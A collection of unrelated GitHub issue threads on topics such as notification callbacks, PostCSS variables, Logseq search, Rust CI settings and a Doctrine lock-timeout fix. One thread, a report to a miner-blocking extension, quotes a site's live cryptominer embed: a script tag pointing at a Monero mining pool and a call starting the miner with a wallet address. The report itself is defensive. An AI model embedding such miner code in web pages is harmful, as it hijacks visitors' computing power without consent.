@benny1308 thx for the feedback. there are additional work in 8316e05c040665f6badf213b1220b324b54ad82f, I have not been able to test it fully myself though. Feel free to have a go again if you have time to do it

Hey @robertarnesson, I tested it again, but without success, same behaviour like last time. The onNotificationOpen Method is not called. No matter if the app is active or in background. But I'm sure, you're close :-) keep trying, I'll test it for you.
Ben

there was indeed some more work needed, but I got it working on my device now

@robertarnesson With the current git version, if i didn't register an notification callback handler the app crash here :
[self.notificationBuffer addObject:userInfo];

Hey, work's great for me. Haven't testet the issue @c4software reports, because I always have to register the callback.
Thanks!

@c4software should be fixed now!

@robertarnesson now it seems that the android callback onNotificationOpen is not working anymore, could please someone verify? Should i open a new issue?
The callback is never called, no matter if the app is active (foreground) or in background. I receive the notification, but e.g. on tap, the app opens, but onNotificationOpen isn't called :-(.
Ben

@benny1308 thats odd, that code has not changed. does it work if you use latest release from npm instead of git master?

closing this as onNotificationOpen for ios was integrated in 0.1.11. If there are issues open a new ticket


[TASK] Allow InputTemplates to inherit from Message User

Issue Description
Is your feature request related to a problem? Please describe.
It would be nice to let instances of Template() raise messages through the MessageHandler.
Describe the solution you'd like
To let Template inherit from MessageUser instead of object.
Describe alternatives you've considered
Using print statements that pollute std. out.

For Change Control Board: Issue Review
This review should occur before any development is performed as a response to this issue.

[ ] 1. Is it tagged with a type: defect or task?
[ ] 2. Is it tagged with a priority: critical, normal or minor?
[ ] 3. If it will impact requirements or requirements tests, is it tagged with requirements?
[ ] 4. If it is a defect, can it cause wrong results for users? If so an email needs to be sent to the users.
[ ] 5. Is a rationale provided? (Such as explaining why the improvement is needed or why current code is wrong.)

For Change Control Board: Issue Closure
This review should occur when the issue is imminently going to be closed.

[x] 1. If the issue is a defect, is the defect fixed?
[x] 2. If the issue is a defect, is the defect tested for in the regression test system?  (If not explain why not.)
[x] 3. If the issue can impact users, has an email to the users group been written (the email should specify if the defect impacts stable or master)?
[x] 4. If the issue is a defect, does it impact the latest release branch? If yes, is there any issue tagged with release (create if needed)?
[x] 5. If the issue is being closed without a pull request, has an explanation of why it is being closed been provided?

An email message to the users on this new feature for the "templating community" would be useful.

Note the Issue Review was not completed before development work started; this should generally be done by a developer before resolving the issue.
Approved to close via #1757.


Kickass.cd miner does not stop working

Site kickass.cd is using miner and it's not blocked.
It's using following line to run the miner. Tough js is encrypted or something, so I can't understand anything... It's basicly BASE64 encoded and you can decrypt it easily. After decrypting I noticed it's also obusficated. Here is decrypted version available:  https://pastebin.com/nAhTiY7X
<script src="https://kickass.cd/m.js?proxy=wss://mine.torrent.pw?pool=us-backup.supportxmr.com:3333"></script>
--
  | <script>
  | var miner = CH.Anonymous('43diebQLSFGfQg5xobxSk4C42gnMUCVvU9WPxEXnBuqa9ANbThwWwaH1MELagmxQhRcXmhmaPAV1rEp9SacwzsdKNRPjxDt+100');
  | miner.start();
  | </script>

Basicly, this miner can be stop using command stop. So when I run miner.stop();. It will stop. Very simple miner and I'm sure this can be blocked easily, but I do not know how to write fix nor have time to write it.

https://github.com/keraf/NoCoin/issues/169


luci-theme-material: make luci-app-commands command box align with Bootstrap theme

The current implementation made the commands from the app luci-app-commands absolutely positioned which resulted in hiding elements which was underneath it, ie. the buttons. This implementation removes the absolutely positioned behavior making the buttons visible again and as an upside aligns it with how the Bootstrap theme handles commands.
Spawned from https://github.com/openwrt/luci/pull/6936#issuecomment-2006720954. Ping @DittelHome
Before:

After:

[X] This PR is not from my main or master branch :poop:, but a separate branch :white_check_mark:
[X] Each commit has a valid :black_nib: Signed-off-by<EMAIL_ADDRESS>row (via git commit --signoff)
[X] Each commit and PR title has a valid :memo: <package name>: title first line subject for packages
[X] Incremented :up: any PKG_VERSION in the Makefile
[X] Tested on: (x86/64, 23.05.2, Firefox and Chrome) :white_check_mark:
[X] ( Preferred ) Mention: @ the original code author for feedback @LuttyYang
[X] ( Preferred ) Screenshot or mp4 of changes:
[ ] ( Optional ) Closes: e.g. openwrt/luci#issue-number
[ ] ( Optional ) Depends on: e.g. openwrt/packages#pr-number in sister repo
[X] Description: (describe the changes proposed in this PR)

Thanks @dannil

It is pssible to merge it also to 23.05 branch ?

Sure. 👌


GeneratePageThumb crash on 64 bits

Hello,
i am using this function and Works fine in 32 bits application, but i need to run it on 64 bits.
Exception:
An unhandled exception of type 'System.BadImageFormatException' occurred in GhostscriptSharp.dll
Additional information: Se ha intentado cargar un programa con un formato incorrecto. (Excepción de HRESULT: 0x8007000B)
Could you help me?
Thanks

Any luck with this?

See this work around: https://github.com/mephraim/ghostscriptsharp/issues/18


TagBot trigger issue

This issue is used to trigger TagBot; feel free to unsubscribe.
If you haven't already, you should update your TagBot.yml to include issue comment triggers.
Please see this post on Discourse for instructions and more details.

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/24282

Triggering TagBot for merged registry pull request

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/31878

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/36188

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/42205

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/51011

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/53964

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/62267

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/78374

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/78414

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/78427

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/78431

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/87091

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/91650

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/105437

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/107132

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/108730


Handle "fake" URL issues

Fake URL are generated for each screen with pushState, and are handled later with redirects to the homepage in the .htaccess rules.
It will be impossible in the packaged app: https://bugzilla.mozilla.org/show_bug.cgi?id=859391
Solutions:

duplicate index.html into each "page" -> dirty
create JS redirects in HTML pages for each fake URL
remove pretty URL

So, the 3rd solution…

I think we can easily use AppCache FALLBACK statement to force missing URLs to fallback to index.html.
I suggest to use it with ServiceWorkers that can do some tricks on specifics URLs in background and then pre-render some contents if needed.
Any thoughts about this method?

Isn't FALLBACK used only when there is no network?
ServiceWorkers are a must have for next major release, of course… ;-) #101


Add support for VS Code

MapLibre maps do not render in VS Code. Only gets a blank page.

I think this is not a maplibe bug. You have to adjust your settings in VSCode.
See also IPyWidgets#loading-3rd-party-source


Variables in @media not working

I'm using PostCSS with Parcel (v1.12.4)
Input:
h3 {
    font-size: 1.625rem;

    @media screen and (max-width: var(--mobile-screen)) {
        font-size: 1.125rem;
    }
}

Output:
h3 {
    font-size: 1.625rem;
}

@media screen and (max-width: var(--mobile-screen)) {
    h3 {
        font-size: 1.125rem
    }
}

postcss.config.js:
module.exports = {
    modules: false,
    plugins: [
        require('postcss-nested'),
        require('autoprefixer'),
        require('postcss-custom-properties'),
        require('postcss-hexrgba'),
        require('postcss-at-rules-variables'),
        require('postcss-css-variables')({
            variables: {
                '--mobile-screen': '768px'
            }
        })
    ]
};

I've also tried declaring the variable in a regular :root block, but with the same result. Requiring postcss-at-rules-variables after postcss-css-variables makes no difference either.

@pestbarn Hi, you made a mistake by installing options to the wrong plugin.
should work for you
module.exports = {
    modules: false,
    plugins: [
        require('postcss-nested'),
        require('autoprefixer'),
        require('postcss-custom-properties'),
        require('postcss-hexrgba'),
        require('postcss-at-rules-variables')({
            variables: {
                '--mobile-screen': '768px'
            }
        }),
        require('postcss-css-variables')()
    ]
};

have a good day and mood 😄

@Scrum Ah yes, that would of course make sense, my bad. However, simply moving it doesn't seem to work either - it still renders out as @media screen and (max-width: var(--mobile-screen)).


style: switch explicit-function-return-type TS rule to error for product code of core

Signed-off-by: Alex Malitsky<EMAIL_ADDRESS>PR Type
What kind of change does this PR introduce?

[X] Code style update (formatting, local variables)

What is the current behavior?
Currently @typescript-eslint/explicit-function-return-type rule is set to off for all files inside packages/core. That means that providing function/method return value type is not required.
Issue Number: No issue at this point, please let me know if I need to create one.
What is the new behavior?
@typescript-eslint/explicit-function-return-type rule is set to error for all files besides .stories.ts and spec.ts. All linting errors caused by enabling the rule were fixed as well.
Once this PR is merged providing type for function/method return value will be required.
I will look into how many occurrences need to be fixed for spec and story files and might update this PR with more commits or raise another PR.
Does this PR introduce a breaking change?

[ ] Yes
[X] No

References

rule description: https://github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/explicit-function-return-type.md

Thank you for your contribution. We are currently moving a lot of code around in preparation for v4 and project mono repo/tooling re-work, so we will have to put this PR on hold until things settle down a bit. If you come across any issues/cleanup improvements, feel free to open an issue about it first, so make sure we coordinate and collaborate on it.

Git it, Cory, no worries. Is it smth worth rebasing once v4 is released?


Suggestion: InitialEffect

Webui:
We can't keep the array for color [R,G,B] and the move to array for effects ["Rainbow swirl fast"] is now also a problem. (The point that our config == our UI is a big breaker and we are more or less forced to bring them together.
Percentage values are another example. We could "append" *100 = % as hint or you move from float to integer) (Which looks less ugly)
Idea:
Move color to HEX and place it as a string.
Remove the array for effects - a string only again
result:
No problem for validation as it is always a string
No longer arrays which adds at the ui more than one value
issues remain:
Implement bootstrap color picker (i found no handling inside jsoneditor for format:colors option?! Needs to be added)
The OR bridge between colorpicker and effectslist with the same(!) json value.

So and initial effect called #FF0000 would be parsed as a colour rather than effect name ?
If so, yep, agree.
I never did understand why it was moved to an array.

Good point, searching for # add the beginning should be enough? ( it unlikely that someone use a # - at least i hope so.)
It is still a possible fail. More rocket: split them and add a dropdown. At least this is (very) easy to handle with the webui. Also if i think about how to handle the load-your-value-in-form.
Depending on selected option, you could .hide color or effects (out of the box i think)
foreground: color
foregroundeffect : YourEffect
foregroundcolor :  YourColor
The reason was the validation. A string and a array for the same value. There was never a OR expected :)

in code we need rgb values and it  is easier when we have an array of rgb values instead of an hex string.
Anyway we will change that. i already thought about that
foreground: color
foregroundeffect : YourEffect
foregroundcolor : YourColor
the foreground effect should be an auto generated enum, so in ui you simply select your effect instead of writing text.
i will see what I can do, task is not so big ...

Rethink
The effectengine also runs with [RGB]. maybe it's better to find a proper way to include bootstrapcolorpicker and avoid the editor array function, you could anyway request the color schema you want from it. (HEX, RGB, RGBA(gradient!)) much more flexibel.

https://github.com/hyperion-project/hyperion.ng/pull/358


[10.x] Allow no-cache headers to return untouched response with bypass option

Follow up from #46986
We're trying to find a way to completely bypass cached responses, including not setting any cache headers, by utilizing the Cache-Control: no-cache or Pragma: no-cache headers.
After reading MDN docs on caching, I realized it might not be preferred behavior to simply return untouched responses when providing any no-cache header, so I opted for a bypass option which only responds to no-cache for now.
This way there are no breaking changes for people who rely on the existing behavior.

Hey there - please just extend this middleware in your own application to do what you want it to do.


Add IKEA PARASOLL door/window sensor

I've been investigating this sensor, so I might be able to build a smaller version with a CR2032 battery (or bigger).
Reason to do so, is that I can build this inside of a door frame.

Great tear down !!!
And IKEA is using one MG24 chip !!
Can you explaining how to open the sensor in one easy way and if its possible doing it without braking it complexly ?

I had a hard time to open one, but I had no intentions of putting it back together. I bought another one and this time I try the heat gun to loosen the glue.

I was putting 2 GU10 on the stowen at low temperature for some minutes and its was very easy getting the lince out of them then the glue was soft so being recommended but not too warm for the plastic devices.

Tried to open another one, but I conclude that this is not viable (and safe for your fingers).
Tried to heat it up to 90 degrees Celsius in the stove, but that did not work. Then tried to cut into the glue from the sides, did not work either. Finally took the heat gun at 200 degrees Celsius, but still no luck. While the case becomes soft, the glue still holds it together.

So they have using better glue and very tight tolerance.
Thanks for info !!
PS: Was getting one old outlet playing then it was being putted on and was putting it in  the owen and then the glue was soft for very short time and was nearly no damage then piling it up (most i have seen have using dremmel or one hammer and . . )
and changing first capacitor from the mains side and it is up and running for some more mounts now.


Forien's Quest log support

Foundry 2 styling supports Forien's quest log now

All themes should now support FQL


Monoid instance for App

I think it might be nice to give App the following instances:
instance semigroupApp :: Apply f => Semigroup (App f a) where
  append (App x) (App y) = App (x *> y)

instance monoidApp :: Applicative f => Monoid (App f Unit) where
  mempty = App (pure unit)

Unresolved questions:

App already inherits a Plus instance from f if one exists. Since Plus is basically Monoid1, is it potentially surprising to have two differing monoid-like instances on App?
Would it make more sense to use Unit or an unconstrained type variable in the Semigroup instance? I suppose the former, since it still works and is more general?

I was actually thinking something like append (App x) (App y) = App (lift2 append x y).

Ah, of course. That works too, and is probably more in line with App's existing instances, I suppose.

Oh, silly me, I only just realised it would be the same as the instance I'm proposing for App f Unit!


Logseq full-text search not working

Describe the bug
Search seems to work for page titles but not page text.
Steps To Reproduce
Steps to reproduce the behavior:

CTRL+K, look for text that's in a page

Expected behavior
Returns results for pages that have the given text.
Notify maintainers
Metadata
[user@system:~]$ nix-shell -p nix-info --run "nix-info -m"
 - system: `"x86_64-linux"`
 - host os: `Linux 6.3.0, NixOS, 23.05 (Stoat), 23.05pre478981.08e4dc3a907`
 - multi-user?: `yes`
 - sandbox: `yes`
 - version: `nix-env (Nix) 2.13.3`
 - channels(root): `"home-manager, nixos"`
 - nixpkgs: `/nix/var/nix/profiles/per-user/root/channels/nixos`

The Issue appears to be related to NODE and Electron versions.
If you run Logseq and trigger a re-index of the graph, you will get the following error
Error: The module '/nix/store/.../share/logseq/resources/app/node_modules/better-sqlite3/build/Release/better_sqlite3.node'
was compiled against a different Node.js version using NODE_MODULE_VERSION 107.
This version of Node.js requries NODE_MODULE_VERSION 110.
Please try re-compiling or re-installing the module.

Logseq upstream currently uses Electron 20.3.8, if you override the electron version for Logseq to electron_20, it will work, however electron_20 is marked as EOL in nixpkgs, so you will also need to add an exception for the insecure package.
I tried using all of the non-EOL electron versions (22-24) and they all throw the NODE version error for bettersqlite3 during re-indexing.
So for a current workaround you can apply this overlay and allow the broken electron package. as well as including the fix from #230234
final: prev: {
  logseq = prev.logseq.overrideAttrs (oldAttrs {
    postFixup = ''
      makeWrapper ${prev.electron_20}/bin/electron $out/bin/${oldAttrs.pname} \
        --set "LOCAL_GIT_DIRECTORY" ${prev.git} \
        --add-flags $out/share/${oldAttrs.pname}/resources/app \
        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations}}" \
        --prefix LD_LIBRARY_PATH : "${prev.lib.makeLibraryPath [ prev.stdenv.cc.cc.lib ]}"
    '';
  });
}

You must re-index to get full text search back once you have Logseq with the above override running.


Expose access to Raylibs compile-time config flags

The default CMake build allows configuring compile-time library flags for Raylib. An example use case would be disabling the default screenshot button (F12) so one can use this key for something else. It would be great if there would be a way to pass in a Zig config object when setting up the build.

This can't be done currently because this binding uses the src/build.zig file in the main raylib repository to build raylib. You could create a PR there to update the addRaylib function. If you do that please reopen this issue and I'll add it with the next release.

For anyone that stumbles upon this issue, I figured out a way to set compile-time library flags without updating the raylib library. In my case I wanted to add support for parsing JPG images.
You can call the .defineCMacro() method in the raylib artifact to configure what you want to be enabled. So if you used the project_setup script, you can enable JPG file format like this:
pub fn build(b: *std.Build) !void {
    // ...

    const raylib = raylib_dep.module("raylib");
    const raylib_artifact = raylib_dep.artifact("raylib");
+   raylib_artifact.defineCMacro("SUPPORT_FILEFORMAT_JPG", null);

    // ...
}

@Not-Nik Maybe it would be good to update the README to show that you can do this?

Done!


Extract cache from metasploit_data_models

MSP-11142
Extract cache ActiveRecord::Base subclasses from metasploit_data_model's feature/exploit branch, which was the furthest developed branch for GREAT 1.  Unlike the extraction from metasploit-model, the merge of metasploit_data_models needs to end with a metasploit-cache that can exist side-by-side with metasploit_data_model's master branch, so that means the migrations that altered or dropped the old cache cannot be used.  Additionally, the table names need to be namespaced to Metasploit::Cache  ∴ Rewrite the migrations to setup the tables for the Metasploit::Cache models from scratch.
Pre-requirements

[ ] Merge #1 so that the diff for this PR is only the merge of metasploit_data_models and not the merge of metasploit-model and metasploit_data_models as this branch is based off of #1.

Coverage increased (+12.81%) when pulling 56a037b00c51bc037123ec674129250cf2b23597 on feature/MSP-11142/extract-cache-from-metasploit-data-models into 91ecd56c1335f86819c2fab2bc16dfa5348f65ec on master.

Coverage increased (+12.81%) when pulling c8d2c752e6776be72e7d2f3e22e72c23cb7d487f on feature/MSP-11142/extract-cache-from-metasploit-data-models into 91ecd56c1335f86819c2fab2bc16dfa5348f65ec on master.

Coverage increased (+12.63%) when pulling 0d09d078b91be05a8d0f28a11a2c78f9bf2784e0 on feature/MSP-11142/extract-cache-from-metasploit-data-models into 91ecd56c1335f86819c2fab2bc16dfa5348f65ec on master.

Coverage increased (+12.58%) when pulling f8cba96c9713bacc07d2031d1bad6fcb3d088d71 on feature/MSP-11142/extract-cache-from-metasploit-data-models into 91ecd56c1335f86819c2fab2bc16dfa5348f65ec on master.

Coverage increased (+12.6%) when pulling e9bfaae00d13c159e32188f6aba750cca7dfac1e on feature/MSP-11142/extract-cache-from-metasploit-data-models into 91ecd56c1335f86819c2fab2bc16dfa5348f65ec on master.

Coverage increased (+12.76%) when pulling b9550b34b6ebdd6ec8307fc2fa8b86074d01b1e1 on feature/MSP-11142/extract-cache-from-metasploit-data-models into 91ecd56c1335f86819c2fab2bc16dfa5348f65ec on master.

Coverage increased (+12.65%) when pulling 25466975b3aee04dccabe252f219068b615749b6 on feature/MSP-11142/extract-cache-from-metasploit-data-models into 91ecd56c1335f86819c2fab2bc16dfa5348f65ec on master.

Coverage increased (+12.76%) when pulling b34ec994b14df0b74e8f0927c05a74c95cfeb8e3 on feature/MSP-11142/extract-cache-from-metasploit-data-models into 91ecd56c1335f86819c2fab2bc16dfa5348f65ec on master.

Coverage increased (+12.76%) when pulling b34ec994b14df0b74e8f0927c05a74c95cfeb8e3 on feature/MSP-11142/extract-cache-from-metasploit-data-models into 91ecd56c1335f86819c2fab2bc16dfa5348f65ec on master.

Coverage increased (+12.76%) when pulling ab473bfb9195f339420a8c5de898b59aaf62a1f2 on feature/MSP-11142/extract-cache-from-metasploit-data-models into 91ecd56c1335f86819c2fab2bc16dfa5348f65ec on master.


Printing unicode characters in the "Toplevel" page is broken

Displaying unicode characters does not seem to be working in the "toplevel" page. In particular, I defined a custom printer, that uses unicode characters. It works fine in the test reports, but not in the toplevel.
And additionally, the tooltip message at the top also contains broken unicode (for what I assume should be arrows).

Just realised this last week. I have a fix but it's actually a bug in js_of_ocaml. See https://github.com/ocaml-sf/learn-ocaml/pull/199/commits/97134af4f187729ef3479ce20859c6de62849c05

Thanks!!


Proxy for third party library don't work

I have got js file which do query.but proxy don't work but with typescript in Angular all right

@sergeu90 please follow the issue submission guidelines https://github.com/angular/angular-cli/blob/master/CONTRIBUTING.md#submit

^ what @coryrylan said 💃
The new issue template contains all that's needed, please do fill it out on a new issue.


Fix duplicate HTML ID in Win7 variant of chrome://version

Duplicate ID attribute is a fundamental HTML error. Feel free to reject this PR and/or fix it your own way 🙂

@ziemek99 This is absolutely not kosher lol. I was just wanting to throw in a lil easter egg as a salute to windows 7, and I wanted to make sure CSS-wise that it would look correct. Idk why it didnt occur to me to just break it, but I assumed that although it is not standards compliant that it would look okay. It does look ok, but its possible resizing windows might screw stuff up. But besides that, I want code to be as correct as possible, i.e. standards compliant and good indentation, no hanging variables. Thanks for this PR, and thanks @gz83 for  letting me know about it. I will merge it.


Support for Piwik

I would be very interested in contributing tracking for Piwik. Would that be something you are interested in?

Sure, I'd be happy to accept a PR!

+1 to this! Using Piwik now, tried to make my own service, but calls seem to be getting dropped somewhere. Would be happy to help on this effort :)

We have the same need, I begin to work on an adapter inside my app, and will make a PR when I have something working


NoTouchID with MBP15,2 SMBIOS

Well, it's a week now since I installed Mojave with MBP15,2 and as far as I can tell, all works smooth. I had to install NoTouchID tho, mainly because of ton of BiometricKit errors. Can we have MBP15,2 SMBIOS in next build and can we ditch CPUFriend if we will switch to it?

I don't think MBP15,2 SMBIOS is a good idea, because CPUFriend will overwrite the SMBIOS PM file and macOS 10.13.5 doesn't support MBP15,2. If you want  MBP15,2 's power management, please replace archive in https://github.com/daliansky/XiaoMi-Pro/issues/53.


Plugin does not run

I created a brand new grails app and tried this plugin. But it doesnot run at all.

compile 'org.grails.plugins:quartz:2.0.4'
compile 'org.grails.plugins:quartz-monitor:1.2'
| Grails Version: 3.1.1
| Groovy Version: 2.4.5
| JVM Version: 1.8.0_73

static triggers = {         simple repeatInterval: 1000 }
void execute() {         println "Job run!"     } }

I'm having the same issue, the only workaround I can provide is switching to a different version...
compile 'org.grails.plugins:quartz:2.0.0.M4'

This post helped reach that conclusion...
https://stackoverflow.com/questions/6259066/how-to-run-every-25-seconds-in-quartz-scheduler

Found the solution to my issue.  Don't store it in DB.
If you want to store it in DB you need to create tables by yourself.
Add this in application.yml
quartz:
    autoStartup: true
    jdbcStore: false


Loading from SSM into environment

Hey!
I wanted to load secrets from AWS SSM into a lambda environment so that it can be read from my little Golang service. I came up with this, but I am unsure if this is the way to go.
sst.config.ts
import { SSTConfig } from "sst";
import { Api } from "sst/constructs";
import { Config } from "sst/constructs";

export default {
  config(_input) {
    return {
      name: "demo",
      region: "eu-central-1",
    };
  },
  stacks(app) {
    app.setDefaultFunctionProps({
      runtime: "go1.x",
    });
    app.stack(function Stack({ stack }) {
      const SMTP_HOST = new Config.Secret(stack, "SMTP_HOST");
      const SMTP_PORT = new Config.Secret(stack, "SMTP_PORT");
      const SMTP_USER = new Config.Secret(stack, "SMTP_USER");
      const SMTP_PASS = new Config.Secret(stack, "SMTP_PASS");

      const api = new Api(stack, "api", {
        routes: {
          "POST /": "functions/lambda/main.go",
        },
      });

      api
        .getFunction("POST /")
        ?.addEnvironment("AM_SMTP_HOST", SMTP_HOST.toString())
        .addEnvironment("AM_SMTP_PORT", SMTP_PORT.toString())
        .addEnvironment("AM_SMTP_USER", SMTP_USER.toString())
        .addEnvironment("AM_SMTP_PASS", SMTP_PASS.toString())
        .addEnvironment("AM_SMTP_AUTH_MECHANISM", "plain");

      stack.addOutputs({
        ApiEndpoint: api.url,
      });
    });
  },
} satisfies SSTConfig;

I also had a look into the docs, but could not find a suitable entry.
Is there a more idiomatic approach to do that?
Thanks!

Can you open a new thread in #help on Discord and link to this?

If someone has an idea ... https://discord.com/channels/983865673656705025/1095718796397912085

We are transition this repo to https://github.com/sst/v2 and are closing this issue for now. If it is still relevant please reopen it there - sorry for the trouble


Don't refresh if there's no internet connection

Display a snackbar in this case.

Done via d10048eed304976fc9deb51c5beacc3f827a3be2


Allow 'extrapolation' in synthetic control

As highlighted in #255, the current synthetic control model is restricted to interpolation. That is, when the synthetic control is modelled as a weighted sum of untreated units, and that weighting sums to 1, then the model can only interpolate within the region of the control units.
We should consider adding the ability for synthetic control models to extrapolate, and that can be done by letting the sum of weights deviate from 1.
I have not yet thought about whether we should stick with the current WeightedSumFitter class and make it more customisable, or if we should create different classes. Maybe the former.

My understanding is that we actually do not wanna interpolate. See https://matheusfacure.github.io/python-causality-handbook/15-Synthetic-Control.html and the nice image (😆)

We could consider adding synthetic idd-in-diff which ads an intercept https://matheusfacure.github.io/python-causality-handbook/25-Synthetic-Diff-in-Diff.html

Though see this paper:

Ben-Michael, E., Feller, A., & Rothstein, J. (2021). The augmented synthetic control method. Journal of the American Statistical Association, 116(536), 1789-1803.

The synthetic control method (SCM) is a popular approach for estimating the impact of a treatment on a single unit in panel data settings. The “synthetic control” is a weighted average of control units that balances the treated unit’s pre-treatment outcomes as closely as possible. A critical feature of the original proposal is to use SCM only when the fit on pre- treatment outcomes is excellent. We propose Augmented SCM as an extension of SCM to settings where such pre-treatment fit is infeasible. Analogous to bias correction for inexact matching, Augmented SCM uses an outcome model to estimate the bias due to imperfect pre- treatment fit and then de-biases the original SCM estimate. Our main proposal, which uses ridge regression as the outcome model, directly controls pre-treatment fit while minimizing extrapolation from the convex hull. This estimator can also be expressed as a solution to a modified synthetic controls problem that allows negative weights on some donor units. We bound the estimation error of this approach under different data generating processes, including a linear factor model, and show how regularization helps to avoid over-fitting to noise. We demonstrate gains from Augmented SCM with extensive simulation studies and apply this framework to estimate the impact of the 2012 Kansas tax cuts on economic growth. We implement the proposed method in the new augsynth R package.

We could consider adding synthetic idd-in-diff which ads an intercept https://matheusfacure.github.io/python-causality-handbook/25-Synthetic-Diff-in-Diff.html

Agreed, we already have an issue for this https://github.com/pymc-labs/CausalPy/issues/47


Disable lto in ci to improve compile times

@FredrikNoren Are user builds created from ci release builds or from somehwere else?

Wouldn't setting rust flags in the CI override any rust flags we set in .cargo/config.toml?
That may be very unexpected and difficult to track down why a feature we add there does not appear in the build artifacts (but work locally).
Wouldn't perhaps a better approach be to create a cargo profile to avoid overriding all the rust flags already set?

What do you mean by a feature? This change should only affect performance.
I could create a master profile and disable lto in release but the performance hit is quite drastic in rust, unlike in C++ which is more moderate.

What do you mean by a feature? This change should only affect performance. I could create a master profile and disable lto in release but the performance hit is quite drastic in rust, unlike in C++ which is more moderate.

Sorry, perhaps I wasn't as clear
Disabling lto is absolutely cgreat to reduce the compile time.
What I am concerned about is that we already set the RUST_FLAGS environment variable to things, and this (along with the debuginfo=0) would nullify all those existing flags.
What I mean by feature is a perhaps better worded as a "configuration"
As such, it is better to add there as a cargo profile rather than an env
https://doc.rust-lang.org/cargo/reference/config.html#buildrustflags

@Pombal We're starting to set up nightly builds (or @chaosprint and @ten3roberts are), and those would be user builds. So for the CI I think it's fine if it doesn't have lto.

@ten3roberts It seems to me that a cargo profile is a more heavy handed way of doing it and also less explicit.
Not sure if it's the same in Rust but in games with C++ there's tipically a debug, release, profile and master configurations.
And it's important to minimize the number of them because the testing matrix, tooling changes, and congnitive overhead increases substantly when a new configuration is introduced.
I'm thinking that adding a new configuration to Rust will incur similar costs but I could be wrong.
Whereas changing lto directly in ci is very clear and explicit that this change only intends to trade performance for compile times in ci alone.
A new configuration could be used for other things and would have to be supported for other means. And so if we wanted to enable lto in ci again in the future it would be harder.
It's possible that these costs don't exist in rust and it's actually a good practice to have multiple configurations but as of now this rings alarm bells for me.

@FredrikNoren Thanks, I've enabled it again for nightly.

@ten3roberts I re-read what you said and I think I now understand your concern better.
The primary problem you mention is wiping out RUST_FLAGS. I agree this may lead to confusion.
So first off, this is already happening. Can we live with it until it becomes a problem?
Second, is there another way to prevent this from happening without creating a new profile?


LockWaitTimeoutException in CleanupHelper Causing API Failures

Hi,
we have noticed a problem with the cleanupHelper->cleanup over the last few days.
This has caused this error "Uncaught PHP Exception Doctrine\DBAL\Exception\LockWaitTimeoutException: "An exception occurred while executing a query: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction" at ExceptionConverter.php line 37" several times.
When this function was called, the tables “submission” and/or “submit_token” were in a locked state for a long time.
This locked state caused all API requests to fail and users were unable to validate forms.
After some debugging I was able to determine that it is triggered by this query:
DELETE Mosparo\Entity\Submission s                     WHERE (SELECT COUNT(st.id) FROM Mosparo\Entity\SubmitToken st WHERE st.id = s.submitToken OR st.lastSubmission = s.id) = 0
Due to the fact that the select is a subquery of DELETE, the table is locked while the read operation is executed instead of being writable.
Splitting these two queries fixed the error for us on Live.
I have improved the performance of the select.
$query = $this->entityManager->createQuery('
    SELECT s.id
    FROM Mosparo\Entity\Submission s
    WHERE NOT EXISTS (
        SELECT 1 FROM Mosparo\Entity\SubmitToken st
        WHERE st.id = s.submitToken OR st.lastSubmission = s.id
    )
');
